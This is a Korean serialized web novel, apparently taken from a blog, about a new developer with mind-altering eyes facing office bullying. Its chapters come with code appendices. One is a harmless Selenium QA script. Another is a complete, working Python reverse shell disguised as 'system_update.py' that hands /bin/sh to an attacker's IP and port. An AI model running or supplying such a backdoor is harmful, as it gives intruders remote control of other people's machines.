그제야 비로소, 사람들은 나의 ‘눈’이 아니라 ‘나’를 믿어주기 시작했다.

조사실을 나오며 나는 복도 창문에 비친 내 모습을 보았다.
여전히 창백하고 지쳐 보였지만, 눈동자만은 그 어느 때보다 맑게 빛나고 있었다.

‘이제 알겠어.’

나를 지키는 건 초능력이 아니다.
나를 지키는 건, 떳떳함이다.

 


다음 이야기 : https://thepin.tistory.com/210

 

소설001: 내 눈을 보면 안 돼 - 제8화. 리더의 눈빛

제8화. 리더의 눈빛“이번 QA 자동화 TF(Task Force), 이한결 대리가 리딩해봐.”박성우 팀장의 파격적인 제안이었다. 입사 1년 차, 그것도 온갖 구설수에 올랐던 내가 프로젝트 리더(PL)라니. 하지만

thepin.tistory.com

 

[부록] 한결이 발견한 악성 스크립트 (system_update.py)

import socket
import subprocess
import os
import time

# 설정: 공격자(마케팅팀 PC) IP 및 포트
# 내부망의 특정 PC로 리버스 쉘을 연결하도록 설정됨
ATTACKER_IP = '192.168.0.15'
ATTACKER_PORT = 8080

def connect():
    while True:
        try:
            # 소켓 생성 및 공격자 서버 연결 시도
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ATTACKER_IP, ATTACKER_PORT))

            # 연결 성공 시 쉘 실행 (Backdoor)
            # 표준 입력(0), 출력(1), 에러(2)를 소켓으로 리다이렉션
            os.dup2(s.fileno(), 0)
            os.dup2(s.fileno(), 1)
            os.dup2(s.fileno(), 2)

            # 쉘 실행 (원격 제어 가능 상태)
            p = subprocess.call(["/bin/sh", "-i"])
            s.close()
            break
        except Exception:
            # 연결 실패 시 10초 후 재시도 (백그라운드 유지)
            time.sleep(10)

if __name__ == "__main__":
    # 'system_update'라는 이름으로 위장하여 실행
    connect()
728x90
반응형
728x90

이전 이야기 : https://thepin.tistory.com/207

제6화. 불신의 그림자

파이썬 자동화 스크립트 덕분에 나는 팀 내에서 ‘일 잘하는 신입’으로 자리를 잡아가고 있었다. 하지만 아이러니하게도, 업무 능력이 빛을 발할수록 나를 둘러싼 그림자는 더욱 짙어졌다.

“……그래서, 진짜라니까?”

탕비실 문을 열려다 멈칫했다. 안에서 내 이름이 들려왔기 때문이다.

“최 주임님이 그러는데, 걔 눈을 딱 마주치면 순간적으로 뇌가 정지하는 것 같대. 그냥 멍해지는 게 아니라… 누군가 머릿속을 휘젓고 다니는 느낌이라던데?”

“에이, 설마. 그냥 최 주임이 요즘 스트레스 받아서 예민한 거 아니야?”

“아니야, 나도 느꼈어. 저번에 회의할 때 한결 씨랑 눈 마주쳤는데, 등골이 쭈뼛 서더라고. 사람 눈이 아니라… 무슨 CCTV 렌즈가 나를 분석하는 것 같았어. 기분 나쁜 소름이 돋더라니까.”

문고리를 잡은 손이 차갑게 식었다.

‘머릿속을 휘젓는다. CCTV 같다.’

그들의 목소리에는 단순한 호기심이 아닌, 미지의 존재에 대한 원초적인 ‘공포’가 서려 있었다. 내가 나를 지키기 위해 사용했던 능력이, 그들에게는 영혼을 침범당하는 폭력으로 느껴졌던 것이다.

내가 밤새워 코드를 짜고, 팀을 위해 데이터를 정리했던 노력들은 ‘기분 나쁜 눈빛’이라는 프레임 아래 산산이 부서졌다. 나는 괴물이었다. 적어도 그들의 세상 속에서는.

나는 인기척을 내지 않고 조용히 뒷걸음질 쳤다. 도망치듯 자리로 돌아오는 내내, 심장이 불규칙하게 뛰었다.


오후 주간 회의 시간.

회의실 공기는 물 먹은 솜처럼 무거웠다. 박성우 팀장이 프로젝트 이슈를 브리핑하고 있었지만, 팀원들의 신경은 온통 다른 곳에 곤두서 있는 듯했다.

특히 내가 발언할 차례가 되자, 공기의 흐름이 뚝 끊겼다.

“이번 주 QA 리포트 공유드리겠습니다. 자동화 스크립트 적용 결과, 에러 검출률이 15% 상승했습니다.”

나는 최대한 차분한 목소리로 발표를 시작했다. 스크린을 가리키며 팀원들을 둘러보았다.

하지만 아무도 나와 눈을 마주치지 않았다.

윤서아 대리는 모니터 속 엑셀 시트만 뚫어져라 보고 있었고, 다른 선배들은 내 턱이나 넥타이 매듭, 혹은 허공의 먼지를 응시하고 있었다. 마치 내 눈을 마주치면 돌이 되는 메두사를 대하듯, 필사적인 회피였다.

‘다들… 나를 피하고 있어.’

그 노골적인 침묵과 회피가 나를 질식하게 만들었다. 내가 설명하는 데이터와 성과는 완벽했지만, 그 성과를 전달하는 ‘나’라는 존재는 이 공간에서 철저히 지워지고 있었다. 나는 바이러스였다. 격리되어야 마땅한 위험인자.

“이상입니다.”

발표를 마치고 자리에 앉자, 옆자리의 최 주임이 몸을 움찔하며 의자를 반대쪽으로 살짝 뺐다. 바퀴가 바닥을 긁는 드르륵 소리가 천둥소리처럼 크게 느껴졌다. 그의 옆모습에서는 식은땀이 흐르고 있었다. 그는 나를 경멸하는 것이 아니었다. 그는 나를 ‘무서워하고’ 있었다.

회의가 끝나고 자리로 돌아온 나는 모니터의 검은 화면에 비친 내 얼굴을 바라봤다.

창백한 피부, 퀭한 눈.

‘내가 괴물인가?’

스스로에게 물었다. 능력을 써서 위기를 모면하려 했던 건 사실이다. 욱하는 마음에 최 주임에게 살의를 심어버린 것도 사실이다. 하지만 나는 그저 살아남고 싶었을 뿐인데. 약한 몸으로, 이 치열한 사회에서 버티기 위해 발버둥 쳤을 뿐인데.

억울함이 목구멍까지 차올랐다. 나는 이제 정말로 노력하고 있는데. 능력이 아니라 실력으로, 진심으로 다가가려 하는데. 이미 씌워진 ‘불신’의 프레임은 내 진심을 왜곡하고, 내 노력을 기만으로 만들고 있었다.

띠링.

사내 메신저가 울렸다. 윤 대리였다.

[윤서아 대리] 한결 씨, 아까 발표 좋았어요. 근데 너무 긴장한 것 같아요. 표정이 굳어 있어서 다들 좀 어려워하는 것 같네요.

그녀 나름의 위로였겠지만, 그 말조차 아프게 다가왔다. 내가 긴장해서 굳은 게 아니라, 당신들이 나를 괴물 보듯 해서 얼어붙은 건데. 그녀조차 나를 온전히 이해하지 못한다는 사실이 뼈아팠다.

나는 안경을 벗어 책상 위에 올려놓았다. 그리고 양손으로 얼굴을 감쌌다.

결심이 섰다.

‘다시는 능력을 쓰지 않겠어.’

단순히 안 쓰는 정도가 아니다. 아예 내 눈이 무기가 될 수 있다는 가능성 자체를 차단해야 했다. 사람들이 나를 두려워한다면, 그 두려움의 근원을 스스로 봉인하겠다.

나는 서랍에서 포스트잇을 꺼내 모니터 하단에 붙였다.

[FACT & LOGIC]

감정을 섞지 않는다.
눈을 맞추며 설득하려 하지 않는다.
오직 데이터(Fact)와 논리(Logic)로만 말한다.

사람들이 나를 기분 나쁜 최면술사로 생각한다면, 차라리 감정 없는 기계가 되어주겠다. 감정을 거세하고, 오직 0과 1로만 이루어진 결과값만 내놓는 부품이 되겠다. 그게 서로에게 안전하다면.

“이한결 씨, 잠깐 나 좀 볼까?”

박 팀장이 나를 불렀다. 나는 안경을 다시 썼다. 도수 없는 안경알이 차가운 빛을 반사했다.

“네, 팀장님.”

나는 자리에서 일어났다. 박 팀장에게 걸어가는 동안, 나는 시선을 바닥에 고정했다. 그의 눈을 보지 않았다.

이제부터 나는, 눈이 없는 사람이다.

그것이 이 차가운 불신의 그림자 속에서 내가 선택한 생존 방식이었다.

 

 

다음 이야기 : https://thepin.tistory.com/209

 

소설001: 내 눈을 보면 안 돼 - 제7화. 오해의 대가

제7화. 오해의 대가“이한결 씨, 지금 당장 보안팀으로 오세요.”내선 전화기 너머로 들려오는 보안팀장의 목소리는 얼음장처럼 차가웠다. 사무실의 모든 시선이 나에게 꽂혔다. 나는 마른침을

thepin.tistory.com

 

728x90
반응형
728x90

이전 이야기 : https://thepin.tistory.com/205

제5화. 데이터와 진심

점심시간의 소동 이후, 나는 투명 인간이 되기로 자처했다.

도수 없는 블루라이트 차단 안경을 썼다. 그것은 내 눈을 가리는 얇은 방패이자, 세상과의 단절을 선언하는 벽이었다. 사람들과 대화할 때는 미간이나 인중을 보며 철저히 시선을 피했다.

최 주임은 나를 피해 다녔고, 다른 동료들도 나를 어려워하는 기색이 역력했다. 휴게실에서 마주치면 어색하게 고개를 돌렸고, 내 뒤에서 수군거리는 소리가 들리는 듯했다.

‘차라리 이게 나아. 아무도 내 눈을 보지 않으면, 아무 일도 일어나지 않아.’

나는 모니터 속으로 도피했다. 내 눈이 닿아도 안전한 건, 오직 0과 1로 이루어진 데이터 세상뿐이었다. 그곳에는 감정도, 오해도, 왜곡된 기억도 없었다. 오직 명확한 논리(Logic)만이 존재했다.


“이번 주 금요일까지 QA(품질 보증) 1차수 완료해야 합니다. 다들 야근 각오하세요.”

박성우 팀장의 선포에 사무실 곳곳에서 앓는 소리가 터져 나왔다. 이번 프로젝트는 쇼핑몰 플랫폼의 대규모 업데이트였다. 문제는 테스트해야 할 상품 옵션 조합이 수만 가지에 달한다는 점이었다.

“이걸 언제 다 눌러봐? 사람 손으로 하다가 손가락 나가겠다.”

옆자리의 윤서아 대리도 한숨을 쉬며 엑셀 시트를 넘겼다. 화면에는 테스트해야 할 케이스(Test Case)가 끝도 없이 나열되어 있었다. 단순 반복 노동. 개발자들에게는 지옥과도 같은 시간이었다.

나는 조용히 내 할당량을 체크했다. 3,000건. 일일이 클릭해서 장바구니에 담고, 결제 금액이 맞는지 확인해야 했다.

‘이걸 손으로 하는 건 비효율적이야.’

문득 면접 때 박 팀장에게 했던 말이 떠올랐다. “효율적인 시간 관리와 집중력으로 승부하겠습니다.”

그때는 억지로 지어낸 말이었지만, 지금은 증명해야 했다. 내가 괴물이 아니라, 쓸모 있는 팀원이라는 것을.

나는 퇴근 시간이 지나도록 자리에 남았다. 사무실 불이 하나둘 꺼지고, 윤 대리마저 “한결 씨, 안 가요? 적당히 하고 가요”라며 퇴근했을 때, 나는 비로소 본격적인 작업을 시작했다.

어두운 사무실, 모니터 불빛만이 내 얼굴을 비췄다. 나는 심호흡을 한 번 하고 코드 에디터(VS Code)를 실행했다. 검은색 배경에 커서가 하얗게 깜빡였다.

마치 빈 캔버스 앞에 선 화가처럼, 나는 머릿속으로 로직을 그렸다.

‘엑셀 파일을 읽는다. 브라우저를 연다. 값을 입력한다. 결과를 확인한다.’

손가락이 키보드 위를 춤추기 시작했다. 타닥타닥, 경쾌한 타건음이 정적을 갈랐다.

import pandas as pd
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time

웹 브라우저를 자동으로 제어하는 Selenium 라이브러리를 불러왔다. 엑셀에 있는 테스트 케이스를 읽어와서, 자동으로 브라우저를 띄우고 버튼을 클릭하게 만드는 스크립트를 짜기 시작했다.

‘로그인하고, 상품 검색하고, 옵션 선택하고….’

코드를 한 줄 한 줄 짤 때마다 잡념이 사라졌다. 내 눈은 코드를 쫓느라 바빴고, 머릿속은 논리로 가득 찼다. 여기에는 감정이 개입할 틈이 없었다. 오직 입력과 출력, 원인과 결과만이 존재했다.

새벽 2시.

“됐다.”

엔터키를 누르자, 화면 속 브라우저가 혼자서 빠르게 움직이기 시작했다. 상품을 담고, 결제 페이지로 넘어가고, 금액을 검증하는 과정이 눈 깜짝할 사이에 지나갔다.

사람이 하면 1분 걸릴 일이 3초 만에 끝났다. 나는 의자에 등을 기대며 마른세수를 했다. 피곤했지만, 가슴 한구석이 벅차올랐다.


다음 날 아침 회의 시간.

“진척도 체크하겠습니다. 윤 대리, 얼마나 했어?”

“어제 야근해서 500건 정도 했습니다. 오늘 더 속도 내보겠습니다.”

박 팀장은 고개를 끄덕이더니 나를 쳐다봤다.

“이한결 씨는? 신입이라 속도 안 나는 건 이해하는데, 그래도 일정은 맞춰야 합니다.”

나는 말없이 USB를 모니터에 꽂고 화면을 띄웠다.

“제 할당량 3,000건, 테스트 완료했습니다.”

회의실에 정적이 흘렀다. 박 팀장이 미간을 찌푸렸다.

“뭐라고요? 장난합니까? 어제 저녁부터 오늘 아침까지 그걸 다 했다고? 대충 체크하고 넘긴 거 아니에요?”

“아닙니다. 자동화 스크립트를 짰습니다.”

나는 준비해둔 결과 리포트를 화면에 띄웠다. 성공(Pass) 2,980건, 실패(Fail) 20건. 실패한 케이스에 대한 로그 분석까지 깔끔하게 정리되어 있었다.

“파이썬 셀레니움으로 브라우저 구동을 자동화했고, 결과값은 엑셀로 다시 저장되게 만들었습니다. 제가 직접 검수한 샘플링 결과와 100% 일치합니다.”

박 팀장은 입을 벌린 채 화면과 나를 번갈아 쳐다봤다. 윤 대리도 놀란 눈으로 내 코드를 훑어보고 있었다.

“이거… 네가 직접 짠 거야?”

“네. 입사 전에 공부했던 걸 응용해봤습니다.”

박 팀장이 헛기침을 하며 안경을 고쳐 썼다. 그는 깐깐하게 리포트를 검토하더니, 이내 고개를 들었다. 이번에는 경멸도, 의심도 없었다.

“허… 대단하네. 신입이 이 정도까지 할 줄은 몰랐는데.”

그는 나를 똑바로 바라보며 말했다.

“잘했어, 이한결. 덕분에 팀 전체 일정이 3일은 당겨지겠네. 이 스크립트, 윤 대리랑 공유해서 다른 파트에도 적용해.”

“네, 알겠습니다.”

“그리고… 오해해서 미안하다. 일머리는 확실히 있네.”

그 순간, 가슴 속에서 묵직한 것이 울렸다.

그것은 내 능력을 썼을 때 상대방이 보여주는 멍한 복종과는 달랐다.
나를 두려워하는 공포의 눈빛과도 달랐다.

그것은 ‘인정’이었다.
내가 조작하지 않은, 상대방의 마음에서 우러나온 진짜 데이터였다.

‘이거구나.’

나는 책상 아래로 주먹을 꽉 쥐었다. 눈을 쓰지 않아도 된다. 아니, 눈을 쓰지 않아야만 얻을 수 있는 것이 있다.

“감사합니다, 팀장님.”

나는 처음으로 고개를 들고 박 팀장의 눈을 마주 보며 웃었다. 내 눈동자는 그저 평범한 갈색으로 빛나고 있었다.

 

 


다음 이야기 : https://thepin.tistory.com/208

 

소설001: 내 눈을 보면 안 돼 - 제6화. 불신의 그림자

제6화. 불신의 그림자파이썬 자동화 스크립트 덕분에 나는 팀 내에서 ‘일 잘하는 신입’으로 자리를 잡아가고 있었다. 하지만 아이러니하게도, 업무 능력이 빛을 발할수록 나를 둘러싼 그림자

thepin.tistory.com

 

 

 

[부록] 한결이 작성한 QA 자동화 스크립트 (python_script.py)

import pandas as pd
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, NoSuchElementException
import time
import datetime

# 설정: 엑셀 파일 경로 및 결과 저장 경로
INPUT_FILE = 'qa_test_cases.xlsx'
OUTPUT_FILE = f'qa_result_{datetime.datetime.now().strftime("%Y%m%d_%H%M%S")}.xlsx'

# 웹드라이버 설정 (Chrome)
options = webdriver.ChromeOptions()
options.add_argument('--headless')  # 브라우저 창을 띄우지 않고 실행 (속도 향상)
options.add_argument('--no-sandbox')
options.add_argument('--disable-dev-shm-usage')
driver = webdriver.Chrome(options=options)

def run_test_automation():
    print(">>> QA 자동화 테스트를 시작합니다...")

    # 엑셀 파일 로드
    try:
        df = pd.read_excel(INPUT_FILE)
    except FileNotFoundError:
        print(f"Error: {INPUT_FILE} 파일을 찾을 수 없습니다.")
        return

    results = []
    logs = []

    # 테스트 케이스 순회
    for index, row in df.iterrows():
        case_id = row['CaseID']
        url = row['TargetURL']
        expected_text = row['ExpectedResult']

        print(f"Testing [{case_id}]...", end=" ")

        try:
            driver.get(url)

            # 페이지 로딩 대기 (최대 10초)
            WebDriverWait(driver, 10).until(
                EC.presence_of_element_located((By.TAG_NAME, "body"))
            )

            # 결과 검증 (페이지 소스 내에 기대하는 텍스트가 있는지 확인)
            body_text = driver.find_element(By.TAG_NAME, "body").text

            if expected_text in body_text:
                results.append("Pass")
                print("PASS")
            else:
                results.append("Fail")
                logs.append(f"[{case_id}] Fail: Expected '{expected_text}' not found.")
                print("FAIL")

        except Exception as e:
            results.append("Error")
            logs.append(f"[{case_id}] Error: {str(e)}")
            print("ERROR")

    # 결과 저장
    df['TestResult'] = results
    df.to_excel(OUTPUT_FILE, index=False)

    print("\n>>> 테스트 완료.")
    print(f"Total: {len(df)}, Pass: {results.count('Pass')}, Fail: {results.count('Fail')}")
    print(f"결과 파일 저장됨: {OUTPUT_FILE}")

    if logs:
        print("\n[Error Logs]")
        for log in logs:
            print(log)

    driver.quit()

if __name__ == "__main__":
    run_test_automation()
728x90
반응형
728x90

이전 이야기 : https://thepin.tistory.com/204

제4화. 점심시간의 갈등

직장인에게 점심시간은 유일한 해방구라지만, 신입 사원인 내게는 업무의 연장선일 뿐이었다.

“한결 씨는 메뉴 뭐 먹을래요?”

“아, 저는 아무거나 괜찮습니다.”

회사 근처의 김치찌개 집. 개발 2팀 팀원들이 둥그렇게 둘러앉았다. 나는 수저를 세팅하고 물을 따르며 눈치를 살폈다. 다행히 박성우 팀장은 임원 회의 때문에 빠졌고, 윤서아 대리와 다른 선배들, 그리고 입사 3년 차인 최진호 주임이 함께했다.

분위기는 나쁘지 않았다. 최 주임이 입을 열기 전까지는.

“야, 한결아. 너 어제 윤 대리님이 사고 친 거 수습해줬다며?”

최 주임이 짓궂은 표정으로 물었다. 그는 평소에도 나를 ‘낙하산’이라 의심하며 은근히 긁어대던 사람이었다.

“아… 네. 제가 실수를 좀 해서 도움을 받았습니다.”

“좋겠다, 넌. 윤 대리님이 원래 남 일에 신경 안 쓰는 스타일인데, 신입이라고 특별 대우해주나 봐?”

그의 말투에는 가시가 돋쳐 있었다. 윤 대리가 묵묵히 밥만 먹고 있자, 최 주임은 더 신이 난 듯 떠들었다.

“솔직히 말해서, 네가 운이 좋은 거야. 면접 때도 박 팀장님이 너 엄청 깠다면서? 근데 어떻게 붙었냐? 뭐 빽이라도 있어?”

숟가락을 쥔 내 손이 미세하게 떨렸다. 빽이라니.

가슴 한구석이 욱신거렸다. 부정할 수 없었다. 내 능력으로 면접관의 마음을 돌린 건 사실이니까. 하지만 그 합격을 위해 내가 밤새워 공부했던 데이터 분석과 코딩, 그 모든 노력마저 ‘운’과 ‘빽’이라는 단어 아래 짓밟히는 기분이었다. 속이 울렁거렸다. 마치 상한 음식을 억지로 삼킨 것처럼.

“그런 거 아닙니다. 그냥… 운이 좋았습니다.”

“운? 야, 여기 운으로 들어온 사람이 어디 있냐. 다들 죽어라 스펙 쌓아서 들어온 거지. 너처럼 비실비실한 애가 들어오니까 기존 사람들이 허탈한 거야.”

선이 넘었다. 주변 선배들이 “야, 진호야. 밥 먹는데 그만해라”라고 말렸지만, 그는 멈추지 않았다.

“아니, 내 말이 틀려? 솔직히 쟤, 짐만 될 게 뻔하잖아. 어제도 데이터 날려 먹을 뻔했다며? 윤 대리님이 안 봐줬으면 넌 벌써 시말서야.”

최 주임이 나를 빤히 쳐다보며 비웃었다.

“능력 없으면 눈치라도 있어야지. 밥맛 떨어지게.”

그 순간, 내 안에서 팽팽하게 당겨져 있던 이성의 끈이 툭 끊어졌다.

‘짐만 된다.’

평생을 따라다닌 꼬리표. 약한 심장 때문에 체육 시간에 벤치를 지킬 때도, 친구들이 축구를 할 때 창밖을 볼 때도 들었던 그 말. 성인이 되어서까지 이 말을 들어야 한다는 사실이 견딜 수 없이 비참했다.

심장이 미친 듯이 뛰었다. 억울함과 분노가 혈관을 타고 역류해 머리끝까지 차올랐다. 시야가 붉게 물들었다. 나는 고개를 들어 최 주임을 똑바로 쳐다봤다.

‘그만해. 닥쳐. 제발 좀 닥치라고!’

이성이 개입할 틈도 없었다. 평소처럼 차갑고 정교하게 기억을 조작하는 과정 따위는 없었다. 내 눈동자 깊은 곳에서 뜨거운 용암 같은 것이 솟구쳐 올랐다. 그것은 제어되지 않은 날것의 감정 덩어리였다. 내 시선이 최 주임의 눈동자에 꽂히는 순간, 보라색 잔상이 거칠게 일렁였다.

쾅!

최 주임이 갑자기 식탁을 내리치며 벌떡 일어났다. 찌개 국물이 사방으로 튀었다.

“이… 이 미친 새끼가!”

식당 안의 모든 시선이 우리 테이블로 쏠렸다. 최 주임의 얼굴은 공포와 분노로 새빨갛게 달아올라 있었다.

“너 방금 뭐라고 했어? 죽여버린다고? 내 눈을 파버리겠다고?”

“…네?”

나는 멍하니 그를 올려다봤다. 나는 아무 말도 하지 않았다. 입술조차 떼지 않았다. 하지만 최 주임은 마치 귀신이라도 본 사람처럼 씩씩거렸다.

“다들 들었죠? 이 새끼가 저한테 쌍욕 하는 거! 와, 나 진짜 어이가 없네. 신입 주제에 선배한테 죽여버리겠다니, 이게 말이 됩니까?”

최 주임이 주변 동료들에게 동의를 구했다. 하지만 동료들의 표정은 당황스러움 그 자체였다.

“진호야, 왜 그래? 한결 씨는 아무 말도 안 했는데.”

“맞아. 가만히 밥만 먹고 있었잖아. 너 갑자기 왜 그래?”

“뭐? 아니, 분명히 들었다니까! 내 귀에 대고 속삭였잖아! 눈을 부라리면서!”

최 주임은 억울해서 미치겠다는 듯 가슴을 쳤다. 하지만 그럴수록 주변 사람들은 그를 이상한 눈으로 쳐다볼 뿐이었다. 혼자 허공에 대고 화를 내는 미친 사람 취급이었다.

그때 깨달았다.

내 분노가, 내 살의가… 정제되지 않은 채 그에게 쏟아져 들어갔다는 것을. 그것은 ‘기억 조작’이 아니라, 내 내면의 비명을 상대의 뇌에 직접 꽂아 넣는 폭력이나 다름없었다.

‘환청…?’

‘아….’

나는 고개를 숙였다. 최 주임은 분을 이기지 못하고 식당을 나가버렸다. 남겨진 자리에는 어색하고 무거운 침묵만이 감돌았다.

“한결 씨, 괜찮아요? 진호가 요즘 스트레스를 많이 받아서 그런가 봐요.”

윤 대리가 휴지를 건네며 말했다. 그녀는 나를 위로하고 있었지만, 그녀의 눈빛 속에는 미세한 의구심이 서려 있었다. 아무 말도 안 했는데 사람이 저렇게까지 반응할 수 있을까, 하는 본능적인 의심.

“죄송합니다… 저 때문에 분위기가….”

“아니에요. 밥이나 마저 먹어요.”

나는 숟가락을 들었지만, 목구멍이 꽉 막혀 아무것도 넘길 수 없었다.

오후 업무 시간 내내 사무실 분위기는 살얼음판이었다. 최 주임은 자리에 돌아와서도 나를 힐끔거리며 경계했다. 나를 보는 그의 눈에는 이제 경멸이 아니라 ‘공포’가 담겨 있었다.

나는 모니터 뒤에 숨어 떨리는 손을 감췄다. 키보드를 두드리는 척했지만, 손끝 감각이 없었다.

사람들이 수군거리는 소리가 들리는 것 같았다. 저 신입, 뭔가 이상해. 눈빛이 기분 나빠. 가까이 가지 마.

숨이 막혀왔다. 내가 원한 건 이게 아니었다. 그냥 조용히, 평범하게 회사 생활을 하고 싶었을 뿐인데. 내 능력은 나를 지키는 방패가 아니라, 주변을 파괴하고 나를 고립시키는 시한폭탄이었다.

‘이제 사람들은 나를 피해 다닐 거야.’

최 주임이 미친 사람 취급을 받는 걸 보며 통쾌함보다는 죄책감이, 그리고 들킬지 모른다는 공포가 밀려왔다.

퇴근길, 엘리베이터 거울에 비친 내 눈을 보았다.
평범해 보이는 갈색 눈동자. 하지만 그 안에는 괴물이 살고 있었다.

나는 눈을 질끈 감았다.

누군가와 눈을 마주치는 게, 이렇게나 무서운 일이었던가.

이것이 내 능력이 불러온 첫 번째 비극이었다.

 

 

다음 이야기 : https://thepin.tistory.com/205

 

소설001: 내 눈을 보면 안 돼 - 제4.5화. 틈새의 악의

블로그 공부 온라인강의

thepin.tistory.com

728x90
반응형
728x90

이전 이야기 : https://thepin.tistory.com/206

제4.5화. 틈새의 악의

점심시간의 소동 이후, 최진호 주임의 괴롭힘은 더욱 음습하고 교묘해졌다. 대놓고 시비를 거는 대신, 내 업무 성과를 야금야금 갉아먹으려는 시도가 시작된 것이다.

오후 4시. 나른한 오후의 공기를 가르고 누군가의 발소리가 내 자리 뒤에서 멈췄다. 척추를 타고 오르는 서늘한 감각. 돌아보지 않아도 알 수 있었다.

“야, 이한결. 아까 팀장님이 시킨 ‘경쟁사 앱 분석 보고서’, 다 했냐?”

최 주임이 의자 등받이를 툭 치며 물었다. 고개를 돌려 그를 올려다보았다. 그의 눈빛에는 먹잇감을 노리는 하이에나 같은 탐욕이 번들거리고 있었다.

“네, 초안 작성했습니다.”

“그거 나한테 메일로 보내놔. 내가 검토하고 취합해서 팀장님께 보고할 테니까.”

뻔한 수작이었다. ‘검토’와 ‘취합’이라는 그럴싸한 명분 아래, 내 보고서 표지를 자신의 이름으로 갈아 끼우려는 속셈. 그는 내가 갓 들어온 신입이니, 위계질서라는 명분으로 찍어 누르면 꼼짝 못 하고 바칠 것이라 믿고 있는 눈치였다.

예전의 나라면 당황해서 파일을 넘겨줬을지도 모른다. 아니면 억울해하면서도 보복이 두려워 순응했을 것이다.

하지만 지금의 나는 달랐다.

‘더 이상 당하지 않아. 내 노력은 내가 지킨다.’

나는 모니터에서 시선을 떼지 않은 채, 키보드 위에 올린 손가락을 멈추지 않고 담담하게 대답했다.

“말씀하신 부분은 이미 팀장님께 직접 메일로 드렸습니다.”

“…뭐?”

최 주임의 미간이 확 구겨졌다. 예상치 못한 반격에 당황한 기색이 역력했다.

“네가 뭔데 직접 보고를 해? 사수 거치라고 안 배웠어? 위아래도 없어?”

그가 목소리를 낮게 깔며 으르렁거렸다. 주변의 시선을 의식한 듯했지만, 그 속엔 날 선 가시가 박혀 있었다. 나는 침착하게, 하지만 또렷하게 말했다.

“팀장님께서 급한 건이니 작성되는 대로 바로 보내라고 지시하셨습니다. 중간 보고 단계를 거치면 늦어질 것 같아서요. 아, 물론 참조(CC)에 주임님도 넣었습니다. 확인 못 하셨나요?”

거짓말은 아니었다. 박 팀장은 효율을 중시하는 사람이었고, 불필요한 중간 단계를 극도로 싫어했다. 나는 그 점을 철저히 이용했을 뿐이다. ‘참조’에 그를 넣음으로써 절차를 무시했다는 비난도 피했다. 완벽한 방어였다.

“너… 지금 나 멕이는 거냐?”

최 주임의 얼굴이 붉으락푸르락해졌다. 할 말이 없어진 그는 주먹을 꽉 쥐고 부들거렸다. 그때, 파티션 너머에서 박 팀장이 벌떡 일어났다.

“어, 이한결 씨! 방금 보낸 보고서 봤어요.”

박 팀장의 목소리가 사무실에 쩌렁쩌렁 울렸다.

“분석 포인트가 아주 날카롭네. 특히 경쟁사 UI 뎁스(Depth) 비교한 거, 아주 좋았어. 바로 임원 보고 자료에 넣을게. 잘했어!”

공개적인 칭찬. 그것은 최 주임의 탐욕에 대한 사형 선고나 다름없었다. 최 주임은 입을 뻐끔거리다, 팀장과 나를 번갈아 보며 억지 미소를 지어 보였다. 비참함과 분노가 뒤섞인 기괴한 표정이었다.

“아… 네. 한결이가… 잘했네요.”

그는 쥐어짜듯 대답하고는, 나를 향해 소리 없는 욕설을 내뱉으며 자기 자리로 돌아갔다.

“두고 보자, 이한결.”

그의 뒷모습이 패배감으로 구부정했다. 나는 안경을 고쳐 쓰며 모니터 구석에 뜬 ‘발송 완료’ 메시지를 바라보았다.

가슴 한구석이 뻥 뚫리는 듯한 쾌감이 밀려왔다. 기억을 조작해서 얻는 찝찝한 승리가 아니었다.

능력을 쓰지 않아도, 악의를 막아낼 방법은 있었다. 그것은 ‘원칙’과 ‘속도’, 그리고 내 실력에 대한 확신이었다.

 

다음 이야기 : https://thepin.tistory.com/207

 

소설001: 내 눈을 보면 안 돼 - 제5화. 데이터와 진심

제5화. 데이터와 진심점심시간의 소동 이후, 나는 투명 인간이 되기로 자처했다.도수 없는 블루라이트 차단 안경을 썼다. 그것은 내 눈을 가리는 얇은 방패이자, 세상과의 단절을 선언하는 벽이

thepin.tistory.com

 

728x90
반응형
728x90

이전 이야기 : https://thepin.tistory.com/203

제3화. 첫 출근의 불안

넥솔브의 아침은 전쟁터였다.

엘리베이터 앞에 길게 늘어선 줄, 한 손에 커피를 들고 바쁘게 사원증을 찍는 사람들. 그 활기차고 치열한 풍경 속에 나, 이한결이 서 있었다.

“신입 사원 이한결입니다. 잘 부탁드립니다!”

개발 2팀 사무실 한가운데서 허리를 90도로 숙였다. 내 목소리가 너무 컸는지, 몇몇 사람들이 흠칫하며 나를 쳐다봤다.

“아, 그래요. 저기 빈자리에 앉으면 돼요.”

박성우 팀장은 모니터에서 눈도 떼지 않은 채 손가락으로 구석 자리를 가리켰다. 면접 때의 그 날카로운 눈빛은 여전했다. 나는 쭈뼛거리며 지정된 자리에 앉았다.

내게 주어진 첫 업무는 ‘고객 데이터 정리’였다. 수천 행에 달하는 엑셀 파일을 열어 중복된 항목을 제거하고, 양식을 통일하는 단순 반복 작업이었다.

‘이 정도쯤이야.’

나는 의욕적으로 마우스를 잡았다. 면접 때 ‘효율’을 강조했던 만큼, 뭔가 보여주고 싶었다. 엑셀 함수를 쓰고, 매크로를 돌려 작업 속도를 높였다. 모니터 화면이 빠르게 바뀌었다.

하지만 의욕이 과했던 걸까.

오후 3시, 사무실에 나른한 공기가 감돌 때였다.

“어…?”

내 입에서 당혹스러운 신음이 새어 나왔다.

화면 속 데이터가 이상했다. 정렬 필터를 잘못 건드린 탓에, 고객 이름과 전화번호가 뒤죽박죽 섞여버린 것이다. 원본 파일은 이미 저장 버튼을 눌러 덮어씌워진 상태였다.

등줄기에 식은땀이 흘렀다. 심장이 쿵쿵거리며 흉곽을 때렸다.

‘복구해야 해. 빨리.’

실행 취소(Ctrl+Z)를 연타했지만, 매크로가 실행된 이후라 되돌려지지 않았다. 백업 파일이 있는지 찾아봤지만 보이지 않았다.

눈앞이 캄캄해졌다. 이건 단순한 실수가 아니었다. 고객 개인정보가 섞인다는 건, 회사 신뢰도에 치명적인 문제였다. 입사 첫날부터 대형 사고를 친 것이다.

그때, 박 팀장이 자리에서 일어나는 소리가 들렸다. 그가 내 쪽으로 걸어오고 있었다.

“이한결 씨, 아까 시킨 거 다 됐나? 잠깐 확인 좀 합시다.”

